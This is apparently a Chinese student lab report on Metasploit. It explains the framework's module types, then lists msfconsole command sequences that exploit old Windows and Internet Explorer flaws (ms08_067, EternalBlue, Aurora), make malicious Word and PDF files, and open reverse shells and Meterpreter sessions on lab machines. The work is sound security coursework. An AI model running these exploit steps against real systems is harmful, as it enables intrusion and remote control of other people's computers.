一、知识点总结
1.MSF攻击方法
主动攻击:扫描主机漏洞,进行攻击
攻击浏览器
攻击其他客户端
2.MSF的六种模块
渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
主动渗透攻击:攻击某个系统服务
被动渗透攻击:攻击某个客户端应用
辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
网络服务的扫描与查点
探查敏感信息泄露、Fuzz测试发掘漏洞
收集登录密码
攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
空字段模块Nop Modules
一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
编码模块Encoders
改变payload形状,使得不出现特定字符
确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
查看六种模块源码目录/usr/share/metasploit-framework/modules
3.MSF的三种用户操作界面
msfconsole
查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
查看设置信息show [options]
查看攻击目标类型show [target]
查找命令search
查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
启动数据库我参考了这篇博客
此次攻击的目标主动攻击的实践
ms08_067payload/generic/shell_reverse_tcp
(成功)
ms17_010_eternalbluepayload/generic/shell_reverse_tcp
(成功)
攻击浏览器的实践ms11_050
(失败)
ms14_064
`payload : generic/shell_reverse_tcp
(成功)
ms10_002set payload windows/meterpreter/reverse_tcp
(成功且唯一)
攻击客户端的实践
Adobe(成功)
ms11_006(失败)
成功应用任何一个辅助模块
auxiliary/server/browser_autopwn2(成功且唯一)
成功进行进程迁移
二、攻击实例
Exp5-1 实现ms08_067
靶机:Microsoft Windows XP sp3 (English)payload : generic/shell_reverse_tcp
实验步骤
- 使用命令
msfconsole
启动Metasploit终端 - 然后使用命令
search ms08_067
搜索该漏洞对应的模块 - 输入命令
use exploit/windows/smb/ms08_067_netapi
- 使用命令
show targets
查看渗透攻击模块可以成功渗透攻击的平台(其中我选择的是7)
之后输入以下命令
msf exploit(ms08_067_netapi) > show payloads//查看可用的攻击载荷
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.238 //控制主机ip
msf exploit(ms08_067_netapi) > set LPORT 5323 //攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.235 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > set target 0 //自动选择目标系统类型,匹配度较高
msf exploit(ms08_067_netapi) > exploit //攻击
由图中看出,回连失败了,此时我将端口进行了更改,结果如下,并输入sysinfo
查看靶机信息
输入ipconfig/all
查看靶机ip地址
Exp5-2 实现MS17_010_eternalblue
靶机:Microsoft Windows 2008payload : generic/shell_reverse_tcp
实验步骤
同Exp5-1类似,在终端中输入指令之后,使用命令show options
查看所配置的选项
之后输入指令exploit
对靶机进行渗透攻击,如图所示,此处失败了,显示端口已被占用
将端口进行更改之后再次尝试,成功了
输入sysinfo
查看靶机系统信息
Exp5-3 实现ms11_050
靶机:Microsoft Windows XP SP3 + IE8payload : generic/shell_reverse_tcp
实验步骤
搜索漏洞search ms11_050
使用漏洞use exploit/windows/browser/ms11_050_mshtml_cobjectelement
设置靶机类型set target 3
选择攻击载荷set payload generic/shell_reverse_tcp
使用命令set SRVHOST 192.168.1.238
设置地址
配置好地址后显示配置信息show options
而后exploit
对此进行攻击,将产生的链接复制至靶机IE中打开,此时kali中会出现回连信息
最后失败了,当靶机打开该链接时会停止工作,链接被阻止,现在尚未想出解决方法
Exp5-4 实现ms14_064
靶机:Microsoft Windows XP SP3 + IE8payload : generic/shell_reverse_tcp
实验步骤
首先搜索漏洞,然后使用漏洞,使用show payloads
查看适用攻击载荷
选择攻击载荷set payload generic/shell_reverse_tcp
查看配置信息show options
而后通过查看配置信息添加所需选项
使用命令set SRVHOST 192.168.1.238
以及 set LHOST 192.168.1.238
设置地址
使用命令exploit
对此进行攻击,将产生的链接复制至靶机IE中打开,此时kali中会出现回连信息
通过输入sessions -i 1
获取会话连接,并输入ipconfig
验证是否为靶机地址
再尝试输入shell
查看结果
Exp5-5 实现ms10_002(唯一)
靶机:Microsoft Windows XP + IE8set payload windows/meterpreter/reverse_tcp
(唯一)
实验步骤
使用漏洞:use windows/browser/ms10_002_aurora
接下来的设置步骤同上一个类似,具体如下图所示
将产生的链接复制到xp中去,使用IE浏览器打开,产生回连
通过输入sessions -i 1
获取会话连接
运行run migrate
尝试进行进程迁移,并输入ipconfig
查看靶机IP是否一致
Exp5-6 实现ms11_006(唯一)
靶机:Microsoft Windows XP
实验步骤
使用漏洞:use windows/fileformat/ms11_006_createsizeddibsection
选择攻击载荷:set payload windows/meterpreter/reverse_tcp
设置攻击机地址及端口set LHOST 192.168.1.238
以及set LPORT 443
进行渗透攻击:exploit
此时将产生的msf.doc文件复制到xp中
在kali中输入命令use multi/handler
进行监听,
然后输入配置条件,结束后输入exploit
进行攻击,如下图所示
在xp中打开该文件
而后没有出现回连,失败了
我尝试输入show targets
查看可攻击目标
发现选择target 0(自动)是失败的,而在target 2中的xp不兼容网上所下载的office word,需要英文版,所以还未解决这个问题
Exp5-7 实现Adobe
靶机:Windows XP sp3(English)
实验步骤
search adobe #进行查找
use windows/fileformat/adobe_cooltype_sing #使用漏洞
set payload windows/meterpreter/reverse_tcp #选择攻击载荷
set LHOST 192.168.1.238#攻击者地址
set FILENAME 20165323.pdf #设置生成pdf文件的文件名
exploit #攻击
将生成的20165323.pdf复制到Windows XP中
`use exploit/multi/handler #进入监听模块 set payload windows/meterpreter/reverse_tcp #选择攻击载荷 set LHOST 192.168.1.238 #攻击者地址 exploit #攻击
在xp中打开此pdf文件
回连成功
Exp5-8 实现辅助模块
靶机:Windows XP sp3(English)
实验步骤search use auxiliary/server
查看可用的辅助模块
使用use auxiliary/server/browser_autopwn2
进入该模块
通过info
查看该模块的功能,该模块将自动提供浏览器漏洞利用
首先输入show options
查看需要配置的信息
进行相应的配置
set payload windows/meterpreter/reverse_tcp
set SRVHOST 192.168.1.238
set URIPATH “20165323”
接下来进行渗透攻击exploit
并将产生的链接复制至xp中的IE浏览器进行打开
成功了
接下来通过输入sessions -i 2
获取会话连接,输入dir
以及ipconfig
进行验证是否回连成功
三、实验中遇到的问题及解决方案
在使用“永恒之蓝”进行渗透攻击时,出现以下问题
解决方法:查看解释后发现端口被占用了,将端口更改后便可以进行攻击
四、实验总结
1.实验总结与体会
通过本次实验,我了解了更多的攻击方法和一些漏洞的使用情况,其实漏洞哪里都有,系统、软件这些都可以存在漏洞,以前我觉得我的本机在电脑管家中有时候弹出修补漏洞没啥用,现在看来,还是好好更新吧。在这个实验中也出现了很多问题,出现了这种不能回连的怪异的情况,也学会了很多解决问题和分析问题的方法,
2.离实战还缺些什么技术
感觉大部分是按照教程来做的,离实战还很遥远
3.用自己的话解释什么是exploit,payload,encode.exploit
攻击者对靶机进行渗透攻击的这一过程
payload
类似于之前实验中的shellcode,是攻击者进行攻击的“武器”
encode编码
改编代码,防杀软识别